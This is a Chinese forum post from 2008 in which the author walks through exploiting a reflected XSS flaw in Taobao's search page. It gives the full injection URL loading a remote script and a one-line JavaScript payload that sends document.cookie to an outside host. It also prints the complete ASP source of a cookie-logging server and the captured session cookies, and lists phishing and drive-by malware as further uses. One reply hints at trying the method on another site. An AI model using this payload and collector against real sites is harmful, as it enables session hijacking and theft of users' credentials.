sihanjishu 发表于 2008-8-19 20:26:00

淘宝搜索xss的再次分析后续(2)

上次感到那个xss的用户会有很大,简单的分析了一下,周末花了一下午的时间,重新审了一下。

这是一个非常低级的xss,连基本的冒号就没有过滤。看来是大意所致,其他的地方,都没有这个毛病。
既然已经得到可以xss地方。我就直接使用外部脚本加载来执行一些操作。使用外部脚本加载
http://192.168.0.15/test.js就是第三方的脚本文件。也可以是任何的公网地址。在脚本里可以随便写上一些证明的语句,比如alert。http://search1.taobao.com/browse/search_auction.htm?f=D9_5_1&commend=all&prop=&ppath=&promote=&_promote=&isnew=&user_action=initiative&at_topsearch=1&search_type=auction&q=>"'><script%20src=http://192.168.0.15/test.js></scrīpt>&cat=&productCat=1&book_search=fuzzy_sr_all_text访问之后,成功的执行了外部js的文件。这样,我就可以有更多空间去完成自己的操作。
在虚拟机上登录自己的淘宝帐号,然后在ie的地址栏中输入javascrīpt:alert(document.cookie)查看当前的cookie。

真正的cookie
---------------------------
Microsoft Internet Explorer
---------------------------
uc1=_yb_=false&_msg_=0&_msg_v=true&cookie21=KwmMFB0d1nI9&cookie14=KPtF5EqaNsqDvQ%3D%3D&cookie15=dHJ1ZQ==&cookie16=LxCHKl404vvFNTkbknIAwYbDuw%3D%3D&cookie17=IZioVB3mclM%3D&existShop=false&existXShop=false;
cookie2=a4eda691fb507c147b72295462ba10b8; t=cf6f6f6c37808b6701f6d9b69da117a3; _reg_table_=ONQYEVJBXCWPFTKGLZHIMRUDAS;
_reg_name_=VyO3HBcFYdM%3D; _reg_first_time_date=KPtF5EqaN8X2j%2FP6Vg%3D%3D; cookie1=L0kKVuHbka5%2BsNZi9DhQXxbu4tf8obcF1sARtUrSoT4%3D; lastgetwwmsg=MTIxODg3Mjg1MQ%3D%3D; ssllogin; _ad_; _wwmsg_=0%2C0; btc=81000867%2B150402%3A50%3B150401%3A50%3B%3A%3B%3A%3B%3A%3B%3A; _sv_=0; tracknick=sihanjishu; tg=0; _cc_=Icgi8Z%2F1iA%3D%3D; _nk_=sihanjishu;user_tag_user_id=KpAfzyJUgA0JMCndQZVHJw%3D%3D
---------------------------
OK   
---------------------------



然后访问上面的构造的xss地址。同时修改js的脚本为alert(document.cookie)
再次访问xss地址,结果发现,弹出了cookie的提示。
这说明通过外部脚本的加载已经可以操纵cookie了。下一步就是把用户的cookie偷走。

修改js的脚本文件,这次通过js发送请求,把当前的cookie发送到网路上去。
我在外部网络上新建一个web服务器,然后写一个接受请求的文件,把获得的请求保存起来。http://192.168.0.15/xssc.asp就是外部的用来保存请求数据的文件。

http://192.168.0.15/xssc.asp的内容如下,这是利用网上一个现成的工具,sessionIE,其实任何可以记录请求数据,保存cookie的脚本都可以了。我图个省事。就直接使用工具了。<%
Password="123" '修改为你的密码

afile=Application("fpath")
if afile="" then
afile="xsscookies.xml"
end if
rfile=Server.MapPath(afile)
'非管理ip,cookie文件位置


set fs=server.CreateObject("scripting.filesystemobject")
If Request("p")=Password Then
       afile=replace(replace(replace(Now&".xml","-",""),":","")," ","")
       rfile=Server.MapPath(afile)
       Application("ExIp") =Request.ServerVariables("REMOTE_ADDR")'设置管理ip用于排除cookie
                ofile=Application("fpath")
                if ofile="" then
                        ofile="xsscookies.xml"
                end if
                if (fs.FileExists(Server.MapPath(ofile))) then
                       Response.write("<Items><links>"&ofile&"</links></Items>")'返回上一个cookie文件url
                else Response.write("<Items><links/></Items>")
                end if
       Application("fpath")=afile'产生新cookie文件
       Response.End()
Else
       If Application("ExIp") = Request.ServerVariables("REMOTE_ADDR") Then '管理地址密码错误时
       Application("ExIp") = "127.0.0.1"
       End if
End if



If Application("ExIp") <> Request.ServerVariables("REMOTE_ADDR") Then '记录非管理地址的cookie
        c=Request.QueryString
                if c="" Then
                response.End ()
                End if
        check(rfile)
        dealXml(rfile)
        response.redirect("no.jpg")
End if
Function check(filename)
       
'Response.write(rfile)
    If not fs.FileExists(rfile) Then
      set f=fs.OpenTextFile (rfile,8,True,0)
      f.WriteLine("<rss version=""2.0"">")
      f.WriteLine("<treeroot/>")
      f.WriteLine("</rss>")
                f.Close
'Response.write(rfile)
        End If       
End Function

Function dealXml(filename)
    set xmldoc=server.CreateObject("MicroSoft.XMLDom")
   xmldoc.load(filename)
   set newnode=xmldoc.createelement("item")
   newnode.appendchild(xmldoc.createelement("title"))
   newnode.appendchild(xmldoc.createelement("link"))
   newnode.appendchild(xmldoc.createelement("src_ip"))
   newnode.appendchild(xmldoc.createelement("src_os"))
   newnode.appendchild(xmldoc.createelement("pubDate"))
   newnode.appendchild(xmldoc.createelement("description"))
   newnode.childnodes(0).text=Request.ServerVariables("REMOTE_HOST")
   newnode.childnodes(1).text=Request.ServerVariables("HTTP_REFERER")
   newnode.childnodes(2).text=Request.ServerVariables("REMOTE_ADDR")
   newnode.childnodes(3).text=Request.ServerVariables("OS")
   newnode.childnodes(4).text=now
   newnode.childnodes(5).text=c
   xmldoc.documentElement.SelectSingleNode("//rss/treeroot").appendchild(newnode)
   xmldoc.save(filename)
End function
        set fs = Nothing
%>外部脚本js的内容修改为如下,也就是把cookie发送出去。new Image().src="http://192.168.0.15/xssc.asp?"+escape(document.cookie);再次访问上面构造的那个xss地址。成功的在外部计算机上得到了虚拟机里登录淘宝的cookie。
收到的cookie内容。

uc1=_msg_=0&_msg_v=true&cookie21=KwmMFB0d1nI9&cookie14=KPtF5EqaMaMA8Q%3D%3D&cookie15=dHJ1ZQ==&cookie16=LxCHKl404vvFNTkbknIAwYbDuw%3D%3D&cookie17=IZioVB3mclM%3D&existShop=false&existXShop=false&_yb_=false; cookie2=a4eda691fb507c147b72295462ba10b8; t=cf6f6f6c37808b6701f6d9b69da117a3;
_reg_table_=ONQYEVJBXCWPFTKGLZHIMRUDAS; _reg_name_=VyO3HBcFYdM%3D; _reg_first_time_date=KPtF5EqaN8X2j%2FP6Vg%3D%3D;
cookie1=L0kKVuHbka5%2BsNZi9DhQXxbu4tf8obcF1sARtUrSoT4%3D; lastgetwwmsg=MTIxODg3Mjg1MQ%3D%3D; ssllogin; _ad_; _wwmsg_=0%2C0;
btc=81000867%2B150402%3A50%3B150401%3A50%3B%3A%3B%3A%3B%3A%3B%3A; _sv_=0; tracknick=sihanjishu; tg=0; _cc_=Icgi8Z%2F1iA%3D%3D;
_nk_=sihanjishu; user_tag_user_id=KpAfzyJUgA0JMCndQZVHJw%3D%3D



cookie不是完全一样,很奇怪,没有分析具体的原因。然后使用sessionIE,去访问得到的页面,竟然发现提示需要登录。淘宝成功的限制了伪造的登录。
看来是淘宝做什么限制了,不在同一台计算机的登录是不同的。这样的情况,在qq邮箱里也存在,应该是采用什么技术吧,以前听说过一点。这个我很菜,估计页面里含有一些隐藏的变量吧。这个暂不分析。没有时间去深入。

既然得到cookie无法去访问后台,就表明暂时这个xss还是没有太大危害性的。

现在换一个思路。既然得到cookie也无法操纵别人后台,那我就选择在xss的时候通过js去操纵。

这时发现搜索页面,也就是那个存在xss的页面,竟然和淘宝的用户后台不在一个二级域名中,也就是说,可能不在同一个计算机上。这样xss的请求访问后台,是相当于跨域访问的。当然,如果域的限制不是很严格的话,也许可以突破。
剩下的思路就是通过一些跨域的漏洞,去访问其他域名下的信息,比如操纵后台的操作,访问别人的站内信内容。
我不知道淘宝的cookie设置的是否是二级域名区别的,如果可以访问同一根域名下的内容,这样就简单多了。

这个xss的危害

1、可能导致用户的信息泄漏。后台的数据遭到篡改。利用ie的跨域漏洞,可能会访问到很多的内容。
2、可能会利用社工,用来欺骗用户的密码,在外部的js文件中,做一个登录的假页面,然后用户的用户名和密码。
3、利用淘宝上的这个xss,直接在js中加载一些恶意代码,网页木马什么的。直接入侵用户的电脑。


暂时研究到此为止吧。要吃饭了。

我水平很菜,以后有时间再慢慢分析如何利用外部脚本控制,访问用户的站内信。或者操纵其他内容。

bzcyer 发表于 2008-8-20 09:20:53

:Q 有些看不懂。。但好好研究下你的方法,taobao是做了限制,但我们的那啥肯定没限制,嘿嘿,可以好好玩下了。

淡淡的心情 发表于 2008-8-20 18:03:39

不错!不过也是有些看不懂,最近也在学习安全测试,好好研究下
页: [1]
查看完整版本: 淘宝搜索xss的再次分析后续(2)